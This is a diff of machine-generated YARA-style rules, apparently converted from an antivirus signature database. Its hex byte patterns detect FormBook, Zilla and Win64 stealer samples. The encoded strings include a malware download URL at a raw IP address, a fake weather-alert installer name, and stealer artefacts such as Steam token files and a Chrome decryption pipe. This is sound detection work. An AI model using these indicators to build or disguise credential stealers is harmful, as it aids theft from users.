53 65 76 65 72 65 57 65 61 74 68 65 72 41 6c 65 72 74 73 2e 65 78 65 9c ff 0a 80 01 55 6e 69 6e 73 74 2e 65 78 65 9c ff 0d 80 01 55 6e 69 6e 73 74 61 6c 6c 2e 65 78 65 00 00 78 b9 00 00 05 00 05 00 05 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 46 6f 72 6d 42 } //26740 - $a_2e_5 = {4c 50 50 21 4d 54 42 00 01 00 1c 81 01 68 74 74 70 3a 2f 2f 31 39 32 2e 32 32 37 2e 31 37 33 2e 33 33 2f 70 77 2e 70 6e 67 01 00 11 81 01 52 65 67 53 63 68 65 6d 61 45 78 70 6f 72 74 65 72 01 00 10 81 01 47 73 78 73 73 66 6d 6c 6b 61 6f 6e 70 65 72 76 01 00 19 81 01 50 72 69 6e 74 65 72 4f 62 73 65 72 76 65 72 45 78 70 } //28527 + $a_72_4 = {6c 65 72 74 73 01 00 17 80 01 53 65 76 65 72 65 57 65 61 74 68 65 72 41 6c 65 72 74 73 2e 65 78 65 9c ff 0a 80 01 55 6e 69 6e 73 74 2e 65 78 65 9c ff 0d 80 01 55 6e 69 6e 73 74 61 6c 6c 2e 65 78 65 00 00 78 b9 00 00 05 00 05 00 04 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 5a 69 6c 6c 61 } //26740 + $a_54_5 = {21 4d 54 42 00 02 00 4b 03 28 23 00 00 0a 02 6f 90 01 01 00 00 0a 0a 06 6f 90 01 01 00 00 0a 0b 06 07 6f 90 01 01 00 00 0a 6f 90 01 01 00 00 0a 0c 17 8d 01 00 00 01 0d 07 6f 90 01 01 00 00 0a 8e 69 2d 02 14 0d 07 08 09 } //20014 condition: - ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*109+(#a_65_3 & 1)*12082+(#a_72_4 & 1)*26740+(#a_2e_5 & 1)*28527) >=4 + ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*109+(#a_65_3 & 1)*12082+(#a_72_4 & 1)*26740+(#a_54_5 & 1)*20014) >=4 } -rule _InfrastructureShared_12822{ +rule _InfrastructureShared_13659{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 06 00 21 " strings : $a_46_0 = {50 55 41 3a 57 69 6e 33 32 2f 57 65 61 74 68 65 72 41 6c 65 72 74 73 2e 4b 53 35 37 00 01 00 15 80 01 53 65 76 65 72 65 20 57 65 61 74 68 65 72 20 41 6c 65 72 74 73 01 00 1a 80 01 57 65 61 74 68 65 72 20 4e 6f 74 69 66 69 63 61 } //16675 - $a_6e_1 = {2c 20 4c 4c 43 01 00 13 80 01 53 65 76 65 72 65 57 65 61 74 68 65 72 41 6c 65 72 74 73 01 00 17 80 01 53 65 76 65 72 65 57 65 61 74 68 65 72 41 6c 65 72 74 73 2e 65 78 65 9c ff 0a 80 01 55 6e 69 6e 73 74 2e 65 78 65 9c ff 0d 80 01 55 6e 69 6e 73 74 61 6c 6c 2e 65 78 65 00 00 78 b9 00 00 05 00 05 00 05 00 21 23 41 4c 46 3a 54 72 6f } //26996 - $a_3a_2 = {53 49 4c 2f 46 6f 72 6d 42 6f 6f 6b 2e 5a 4c 50 50 21 4d 54 42 00 01 00 1c 81 01 68 74 74 70 3a 2f 2f 31 39 32 2e 32 32 37 2e 31 37 33 2e 33 33 2f 70 77 2e 70 6e 67 01 00 11 81 01 52 65 67 53 63 68 65 6d 61 45 78 70 6f 72 74 65 72 01 00 10 81 01 47 73 78 73 73 66 6d 6c 6b 61 6f 6e 70 65 72 76 01 00 19 81 01 50 72 69 6e 74 65 72 } //24938 - $a_65_3 = {76 65 72 45 78 70 72 65 73 73 69 6f 6e 01 00 1e 81 01 41 6e 6e 6f 74 61 74 69 6f 6e 44 61 74 61 62 61 73 65 44 65 53 65 72 69 61 6c 69 7a 65 72 00 00 78 b9 00 00 05 00 05 00 05 00 21 23 48 53 54 52 3a 41 6c 6c 44 6f 77 6e 6c 6f 61 64 65 72 00 01 00 18 01 2f 00 61 00 6c 00 6c 00 64 00 64 00 54 00 2e 00 68 00 74 00 6d 00 6c 00 01 00 18 01 44 6f } //25167 - $a_6f_4 = {64 49 6e 73 74 61 6c 6c 65 72 46 72 6f 6d 55 52 4c 01 00 30 01 49 00 6e 00 74 00 65 00 72 00 6e 00 65 00 74 00 20 00 45 00 78 00 70 00 6c 00 6f 00 72 00 65 00 72 00 5f 00 53 00 65 00 72 00 76 00 65 00 72 00 01 00 12 01 5b 00 63 00 6d 00 64 00 6c 00 69 00 6e 00 65 00 5d 00 01 00 14 01 73 00 69 00 6c 00 65 00 6e 00 74 00 2e } //28279 + $a_6e_1 = {2c 20 4c 4c 43 01 00 13 80 01 53 65 76 65 72 65 57 65 61 74 68 65 72 41 6c 65 72 74 73 01 00 17 80 01 53 65 76 65 72 65 57 65 61 74 68 65 72 41 6c 65 72 74 73 2e 65 78 65 9c ff 0a 80 01 55 6e 69 6e 73 74 2e 65 78 65 9c ff 0d 80 01 55 6e 69 6e 73 74 61 6c 6c 2e 65 78 65 00 00 78 b9 00 00 05 00 05 00 04 00 21 23 53 4c 46 3a 54 72 6f } //26996 + $a_3a_2 = {53 49 4c 2f 5a 69 6c 6c 61 2e 4e 49 54 42 21 4d 54 42 00 02 00 4b 03 28 23 00 00 0a 02 6f 90 01 01 00 00 0a 0a 06 6f 90 01 01 00 00 0a 0b 06 07 6f 90 01 01 00 00 0a 6f 90 01 01 00 00 0a 0c 17 8d 01 00 00 01 0d 07 6f 90 01 01 00 00 0a 8e 69 2d 02 14 0d 07 08 09 6f 90 01 01 00 00 0a 26 2a 90 00 01 00 13 01 72 65 71 75 65 73 74 65 } //24938 + $a_69_3 = {69 6c 65 67 65 73 01 00 17 01 72 65 71 75 65 73 74 65 64 45 78 65 63 75 74 69 6f 6e 4c 65 76 65 6c 01 00 0b 01 47 65 74 50 61 74 68 52 6f 6f 74 00 00 78 b9 00 00 05 00 05 00 04 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 53 74 65 61 6c 65 72 2e 53 58 21 4d 54 42 00 02 00 48 03 8b 85 00 13 00 00 85 c0 74 3f 44 8b c0 c6 84 05 } //20580 + $a_95_5 = {02 00 00 48 8d 8d f0 00 00 00 e8 90 01 04 4c 8d 8d 00 13 00 00 41 b8 ff 0f 00 00 48 8d 95 a0 02 00 00 48 8b cb ff 15 90 01 04 85 c0 75 90 00 01 00 10 01 5c 73 74 65 61 6d 5c 54 6f 6b 65 6e 2e 74 78 74 01 00 0c 01 5c 50 63 5f 69 6e 66 6f 2e 74 78 74 01 00 1a 80 01 5c 5c 2e 5c 70 69 70 65 5c 43 68 72 6f 6d 65 44 65 63 72 79 70 74 49 50 43 5f 00 00 78 b9 00 00 05 00 05 00 05 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 } //18432 condition: - ((#a_46_0 & 1)*16675+(#a_6e_1 & 1)*26996+(#a_3a_2 & 1)*24938+(#a_65_3 & 1)*25167+(#a_6f_4 & 1)*28279) >=4 + ((#a_46_0 & 1)*16675+(#a_6e_1 & 1)*26996+(#a_3a_2 & 1)*24938+(#a_69_3 & 1)*20580+(#a_95_5 & 1)*18432) >=4 } -rule _InfrastructureShared_12823{ +rule _InfrastructureShared_13660{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 04 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 5a 69 6c 6c 61 2e 4e 49 54 42 21 4d 54 42 00 02 00 4b 03 28 23 00 00 0a 02 6f 90 01 01 00 00 0a 0a 06 6f 90 01 01 00 00 0a 0b 06 07 6f 90 01 01 00 00 0a 6f 90 01 01 00 00 0a 0c 17 8d 01 00 00 } //21283 + $a_6f_1 = {01 01 00 00 0a 8e 69 } //3329 + $a_0d_2 = {07 08 09 6f 90 01 01 00 00 0a 26 2a 90 00 01 00 13 01 72 65 } //557 + $a_73_3 = {65 64 50 72 69 76 69 6c 65 67 65 73 01 00 17 01 72 65 71 75 65 73 74 65 64 45 78 65 63 75 74 69 6f 6e 4c 65 76 65 6c 01 00 0b 01 47 65 74 50 61 74 68 52 6f 6f 74 00 00 78 b9 00 00 05 00 05 00 04 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 53 74 65 61 6c 65 72 2e 53 58 21 4d 54 42 00 02 } //30065 + condition: + ((#a_46_0 & 1)*21283+(#a_6f_1 & 1)*3329+(#a_0d_2 & 1)*557+(#a_73_3 & 1)*30065) >=5 + +} +rule _InfrastructureShared_13661{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 04 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 53 74 65 61 6c 65 72 2e 53 58 21 4d 54 42 00 02 00 48 03 8b 85 00 13 00 00 85 c0 74 3f 44 8b c0 c6 84 05 a0 02 00 00 00 48 8d 95 a0 02 00 00 48 8d 8d f0 00 00 00 e8 90 } //21539 + $a_8d_1 = {00 13 00 00 41 b8 ff 0f 00 00 48 8d 95 a0 02 00 00 48 8b cb ff 15 90 01 04 85 c0 75 90 00 01 00 10 01 5c 73 74 65 61 6d 5c 54 6f 6b 65 6e 2e 74 78 74 01 00 0c 01 5c 50 63 5f 69 6e 66 6f 2e 74 78 74 01 00 1a 80 01 5c 5c 2e 5c 70 } //1025 + $a_5c_2 = {68 72 6f 6d 65 44 65 63 72 79 70 74 49 50 43 5f 00 00 78 b9 00 00 05 00 05 00 05 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 46 6f 72 6d 42 6f 6f 6b 2e 5a 4c 50 50 21 4d 54 42 00 01 00 1c 81 01 68 74 74 70 3a 2f 2f 31 39 32 2e 32 32 37 2e 31 37 33 2e 33 33 2f 70 77 2e 70 6e 67 01 00 11 81 } //28777 + $a_67_3 = {63 68 65 6d 61 45 78 70 6f 72 74 65 72 01 00 10 81 01 47 73 78 73 73 66 6d 6c 6b 61 6f 6e 70 65 72 76 01 00 19 81 01 50 72 69 6e 74 65 72 4f 62 73 65 72 76 65 72 45 78 70 72 65 73 73 69 6f 6e 01 00 1e 81 01 41 6e 6e 6f 74 61 74 69 6f 6e 44 61 74 61 62 61 73 65 44 65 53 65 72 69 61 6c 69 7a 65 72 00 00 } //20993 + condition: + ((#a_4c_0 & 1)*21539+(#a_8d_1 & 1)*1025+(#a_5c_2 & 1)*28777+(#a_67_3 & 1)*20993) >=5 + +} +rule _InfrastructureShared_13662{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -143593,7 +153145,7 @@ rule _InfrastructureShared_12823{ ((#a_46_0 & 1)*16675+(#a_70_1 & 1)*17761+(#a_2f_3 & 1)*6144) >=5 } -rule _InfrastructureShared_12824{ +rule _InfrastructureShared_13663{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -143607,7 +153159,7 @@ rule _InfrastructureShared_12824{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*114+(#a_4c_2 & 1)*21325+(#a_33_3 & 1)*14381+(#a_50_4 & 1)*28271) >=5 } -rule _InfrastructureShared_12825{ +rule _InfrastructureShared_13664{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -143620,7 +153172,7 @@ rule _InfrastructureShared_12825{ ((#a_54_0 & 1)*18467+(#a_2d_1 & 1)*14128+(#a_7a_2 & 1)*26960+(#a_00_3 & 1)*144) >=5 } -rule _InfrastructureShared_12826{ +rule _InfrastructureShared_13665{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -143633,7 +153185,7 @@ rule _InfrastructureShared_12826{ ((#a_54_0 & 1)*18467+(#a_02_1 & 1)*-28672+(#a_00_3 & 1)*116+(#a_73_4 & 1)*25710) >=5 } -rule _InfrastructureShared_12827{ +rule _InfrastructureShared_13666{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -143647,7 +153199,7 @@ rule _InfrastructureShared_12827{ ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*27745+(#a_3a_2 & 1)*21587+(#a_69_3 & 1)*28526+(#a_64_4 & 1)*28524) >=5 } -rule _InfrastructureShared_12828{ +rule _InfrastructureShared_13667{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -143661,7 +153213,7 @@ rule _InfrastructureShared_12828{ ((#a_54_0 & 1)*18467+(#a_6d_1 & 1)*28271+(#a_65_2 & 1)*24943+(#a_74_3 & 1)*-32502+(#a_73_4 & 1)*25965) >=5 } -rule _InfrastructureShared_12829{ +rule _InfrastructureShared_13668{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -143675,7 +153227,7 @@ rule _InfrastructureShared_12829{ ((#a_54_0 & 1)*18467+(#a_69_1 & 1)*28257+(#a_6f_2 & 1)*30023+(#a_6e_3 & 1)*27936+(#a_69_4 & 1)*25964) >=5 } -rule _InfrastructureShared_12830{ +rule _InfrastructureShared_13669{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -143689,7 +153241,7 @@ rule _InfrastructureShared_12830{ ((#a_54_0 & 1)*18467+(#a_62_1 & 1)*26912+(#a_59_2 & 1)*11890+(#a_72_3 & 1)*385+(#a_81_4 & 1)*1) >=5 } -rule _InfrastructureShared_12831{ +rule _InfrastructureShared_13670{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -143702,7 +153254,7 @@ rule _InfrastructureShared_12831{ ((#a_54_0 & 1)*18467+(#a_61_1 & 1)*29537+(#a_57_2 & 1)*21076+(#a_75_3 & 1)*25204) >=5 } -rule _InfrastructureShared_12832{ +rule _InfrastructureShared_13671{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -143716,7 +153268,7 @@ rule _InfrastructureShared_12832{ ((#a_54_0 & 1)*18467+(#a_61_1 & 1)*8300+(#a_78_2 & 1)*14918+(#a_00_3 & 1)*32054+(#a_24_4 & 1)*-30392) >=5 } -rule _InfrastructureShared_12833{ +rule _InfrastructureShared_13672{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 06 00 21 " @@ -143730,7 +153282,7 @@ rule _InfrastructureShared_12833{ ((#a_46_0 & 1)*16675+(#a_89_1 & 1)*284+(#a_6c_2 & 1)*29300+(#a_03_4 & 1)*2058+(#a_68_5 & 1)*8553) >=5 } -rule _InfrastructureShared_12834{ +rule _InfrastructureShared_13673{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 03 00 21 " @@ -143742,7 +153294,7 @@ rule _InfrastructureShared_12834{ ((#a_46_0 & 1)*16675+(#a_9a_1 & 1)*6912+(#a_35_2 & 1)*25684) >=6 } -rule _InfrastructureShared_12835{ +rule _InfrastructureShared_13674{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 04 00 21 " @@ -143755,7 +153307,7 @@ rule _InfrastructureShared_12835{ ((#a_4c_0 & 1)*21539+(#a_3a_1 & 1)*18773+(#a_73_2 & 1)*25955+(#a_64_3 & 1)*28524) >=6 } -rule _InfrastructureShared_12836{ +rule _InfrastructureShared_13675{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -143770,7 +153322,7 @@ rule _InfrastructureShared_12836{ ((#a_46_0 & 1)*16675+(#a_71_1 & 1)*21092+(#a_41_2 & 1)*8448+(#a_74_3 & 1)*21364+(#a_01_4 & 1)*2816+(#a_6e_5 & 1)*27753) >=6 } -rule _InfrastructureShared_12837{ +rule _InfrastructureShared_13676{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -143785,7 +153337,7 @@ rule _InfrastructureShared_12837{ ((#a_46_0 & 1)*16675+(#a_6f_1 & 1)*26691+(#a_61_2 & 1)*17737+(#a_61_3 & 1)*8303+(#a_4d_4 & 1)*11873+(#a_62_5 & 1)*385) >=6 } -rule _InfrastructureShared_12838{ +rule _InfrastructureShared_13677{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -143800,7 +153352,7 @@ rule _InfrastructureShared_12838{ ((#a_5f_0 & 1)*16931+(#a_20_1 & 1)*8308+(#a_00_2 & 1)*6+(#a_6f_3 & 1)*21562+(#a_63_4 & 1)*17509+(#a_74_5 & 1)*28269) >=6 } -rule _InfrastructureShared_12839{ +rule _InfrastructureShared_13678{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -143815,7 +153367,7 @@ rule _InfrastructureShared_12839{ ((#a_54_0 & 1)*18467+(#a_61_1 & 1)*25972+(#a_63_2 & 1)*14437+(#a_65_3 & 1)*28261+(#a_23_4 & 1)*7+(#a_77_5 & 1)*-32502) >=6 } -rule _InfrastructureShared_12840{ +rule _InfrastructureShared_13679{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -143830,7 +153382,7 @@ rule _InfrastructureShared_12840{ ((#a_54_0 & 1)*18467+(#a_6e_1 & 1)*29301+(#a_4d_2 & 1)*28015+(#a_6c_3 & 1)*17921+(#a_00_4 & 1)*7+(#a_53_5 & 1)*14930) >=6 } -rule _InfrastructureShared_12841{ +rule _InfrastructureShared_13680{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " @@ -143845,7 +153397,7 @@ rule _InfrastructureShared_12841{ ((#a_46_0 & 1)*16675+(#a_73_1 & 1)*25955+(#a_73_2 & 1)*26210+(#a_74_3 & 1)*28274+(#a_00_5 & 1)*84+(#a_00_6 & 1)*16741) >=7 } -rule _InfrastructureShared_12842{ +rule _InfrastructureShared_13681{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " @@ -143861,7 +153413,7 @@ rule _InfrastructureShared_12842{ ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*3072+(#a_00_2 & 1)*83+(#a_72_3 & 1)*28021+(#a_23_4 & 1)*9+(#a_21_5 & 1)*21038+(#a_61_6 & 1)*28527) >=7 } -rule _InfrastructureShared_12843{ +rule _InfrastructureShared_13682{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " @@ -143876,7 +153428,7 @@ rule _InfrastructureShared_12843{ ((#a_5f_0 & 1)*25635+(#a_64_1 & 1)*26950+(#a_2e_3 & 1)*384+(#a_2f_4 & 1)*28975+(#a_65_5 & 1)*23667+(#a_48_6 & 1)*19536) >=7 } -rule _InfrastructureShared_12844{ +rule _InfrastructureShared_13683{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 09 00 21 " @@ -143894,7 +153446,7 @@ rule _InfrastructureShared_12844{ ((#a_46_0 & 1)*16675+(#a_37_1 & 1)*384+(#a_6f_2 & 1)*31089+(#a_50_3 & 1)*19539+(#a_01_4 & 1)*3+(#a_01_5 & 1)*3+(#a_01_6 & 1)*3+(#a_43_7 & 1)*4+(#a_9c_8 & 1)*3840) >=7 } -rule _InfrastructureShared_12845{ +rule _InfrastructureShared_13684{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 06 00 21 " @@ -143908,7 +153460,7 @@ rule _InfrastructureShared_12845{ ((#a_46_0 & 1)*21283+(#a_00_2 & 1)*37+(#a_72_3 & 1)*20015+(#a_90_4 & 1)*-18546+(#a_00_5 & 1)*400) >=8 } -rule _InfrastructureShared_12846{ +rule _InfrastructureShared_13685{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0b 00 0b 00 02 00 21 " @@ -143919,7 +153471,7 @@ rule _InfrastructureShared_12846{ ((#a_46_0 & 1)*16675+(#a_90_1 & 1)*2309) >=11 } -rule _InfrastructureShared_12847{ +rule _InfrastructureShared_13686{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0b 00 0b 00 04 00 21 " @@ -143932,7 +153484,7 @@ rule _InfrastructureShared_12847{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*400+(#a_18_2 & 1)*-24060+(#a_00_3 & 1)*112) >=11 } -rule _InfrastructureShared_12848{ +rule _InfrastructureShared_13687{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0b 00 0b 00 04 00 21 " @@ -143945,7 +153497,7 @@ rule _InfrastructureShared_12848{ ((#a_6f_0 & 1)*21539+(#a_01_1 & 1)*-28632+(#a_02_2 & 1)*1536+(#a_28_3 & 1)*-29182) >=11 } -rule _InfrastructureShared_12849{ +rule _InfrastructureShared_13688{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0d 00 0d 00 05 00 21 " @@ -143958,7 +153510,7 @@ rule _InfrastructureShared_12849{ ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*54+(#a_48_3 & 1)*8448+(#a_02_4 & 1)*10) >=13 } -rule _InfrastructureShared_12850{ +rule _InfrastructureShared_13689{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0e 00 0e 00 05 00 21 " @@ -143972,7 +153524,7 @@ rule _InfrastructureShared_12850{ ((#a_54_0 & 1)*18467+(#a_05_1 & 1)*2060+(#a_4d_2 & 1)*25971+(#a_54_3 & 1)*20307+(#a_00_4 & 1)*3984) >=14 } -rule _InfrastructureShared_12851{ +rule _InfrastructureShared_13690{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,1f 00 1f 00 05 00 21 " @@ -143985,7 +153537,7 @@ rule _InfrastructureShared_12851{ ((#a_6f_0 & 1)*21539+(#a_00_2 & 1)*28015+(#a_73_3 & 1)*25955+(#a_2f_4 & 1)*13166) >=31 } -rule _InfrastructureShared_12852{ +rule _InfrastructureShared_13691{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,29 00 29 00 06 00 21 " @@ -144000,7 +153552,7 @@ rule _InfrastructureShared_12852{ ((#a_54_0 & 1)*18467+(#a_72_1 & 1)*28005+(#a_5a_2 & 1)*12851+(#a_18_3 & 1)*20740+(#a_6f_4 & 1)*25449+(#a_09_5 & 1)*11408) >=41 } -rule _InfrastructureShared_12853{ +rule _InfrastructureShared_13692{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -144010,7 +153562,7 @@ rule _InfrastructureShared_12853{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_12854{ +rule _InfrastructureShared_13693{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -144020,7 +153572,7 @@ rule _InfrastructureShared_12854{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_12855{ +rule _InfrastructureShared_13694{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -144030,7 +153582,7 @@ rule _InfrastructureShared_12855{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_12856{ +rule _InfrastructureShared_13695{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -144040,7 +153592,7 @@ rule _InfrastructureShared_12856{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_12857{ +rule _InfrastructureShared_13696{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -144050,7 +153602,7 @@ rule _InfrastructureShared_12857{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_12858{ +rule _InfrastructureShared_13697{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -144060,7 +153612,7 @@ rule _InfrastructureShared_12858{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_12859{ +rule _InfrastructureShared_13698{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -144071,7 +153623,7 @@ rule _InfrastructureShared_12859{ ((#a_46_0 & 1)*16675+(#a_48_1 & 1)*7276) >=1 } -rule _InfrastructureShared_12860{ +rule _InfrastructureShared_13699{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -144082,7 +153634,7 @@ rule _InfrastructureShared_12860{ ((#a_46_0 & 1)*16675+(#a_01_1 & 1)*10241) >=1 } -rule _InfrastructureShared_12861{ +rule _InfrastructureShared_13700{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -144093,7 +153645,7 @@ rule _InfrastructureShared_12861{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*28420) >=1 } -rule _InfrastructureShared_12862{ +rule _InfrastructureShared_13701{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 03 00 21 " @@ -144105,7 +153657,7 @@ rule _InfrastructureShared_12862{ ((#a_46_0 & 1)*16675+(#a_72_1 & 1)*26957+(#a_00_2 & 1)*1) >=1 } -rule _InfrastructureShared_12863{ +rule _InfrastructureShared_13702{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 03 00 21 " @@ -144117,7 +153669,7 @@ rule _InfrastructureShared_12863{ ((#a_46_0 & 1)*21283+(#a_0c_1 & 1)*-15733+(#a_11_2 & 1)*793) >=1 } -rule _InfrastructureShared_12864{ +rule _InfrastructureShared_13703{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 05 00 21 " @@ -144131,7 +153683,7 @@ rule _InfrastructureShared_12864{ ((#a_54_0 & 1)*18467+(#a_ff_1 & 1)*25439+(#a_9c_2 & 1)*24977+(#a_90_3 & 1)*16580+(#a_e1_4 & 1)*-2043) >=1 } -rule _InfrastructureShared_12865{ +rule _InfrastructureShared_13704{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 08 00 21 " @@ -144147,7 +153699,7 @@ rule _InfrastructureShared_12865{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*16857+(#a_fa_2 & 1)*12514+(#a_01_3 & 1)*-28603+(#a_01_5 & 1)*17707+(#a_00_6 & 1)*66+(#a_44_7 & 1)*18435) >=1 } -rule _InfrastructureShared_12866{ +rule _InfrastructureShared_13705{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -144158,7 +153710,7 @@ rule _InfrastructureShared_12866{ ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*1249) >=2 } -rule _InfrastructureShared_12867{ +rule _InfrastructureShared_13706{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -144169,7 +153721,7 @@ rule _InfrastructureShared_12867{ ((#a_54_0 & 1)*18467+(#a_75_1 & 1)*-9589) >=2 } -rule _InfrastructureShared_12868{ +rule _InfrastructureShared_13707{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -144180,7 +153732,7 @@ rule _InfrastructureShared_12868{ ((#a_46_0 & 1)*21283+(#a_eb_1 & 1)*12544) >=2 } -rule _InfrastructureShared_12869{ +rule _InfrastructureShared_13708{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 04 00 21 " @@ -144193,7 +153745,7 @@ rule _InfrastructureShared_12869{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*29811+(#a_6f_2 & 1)*25601+(#a_4c_3 & 1)*12851) >=2 } -rule _InfrastructureShared_12870{ +rule _InfrastructureShared_13709{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 05 00 21 " @@ -144207,7 +153759,7 @@ rule _InfrastructureShared_12870{ ((#a_46_0 & 1)*16675+(#a_69_1 & 1)*25697+(#a_3a_2 & 1)*12889+(#a_01_3 & 1)*-28556+(#a_cb_4 & 1)*24777) >=2 } -rule _InfrastructureShared_12871{ +rule _InfrastructureShared_13710{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 05 00 21 " @@ -144221,7 +153773,7 @@ rule _InfrastructureShared_12871{ ((#a_46_0 & 1)*16675+(#a_eb_1 & 1)*17667+(#a_c1_2 & 1)*352+(#a_00_3 & 1)*8489+(#a_65_4 & 1)*17153) >=2 } -rule _InfrastructureShared_12872{ +rule _InfrastructureShared_13711{ meta: description = 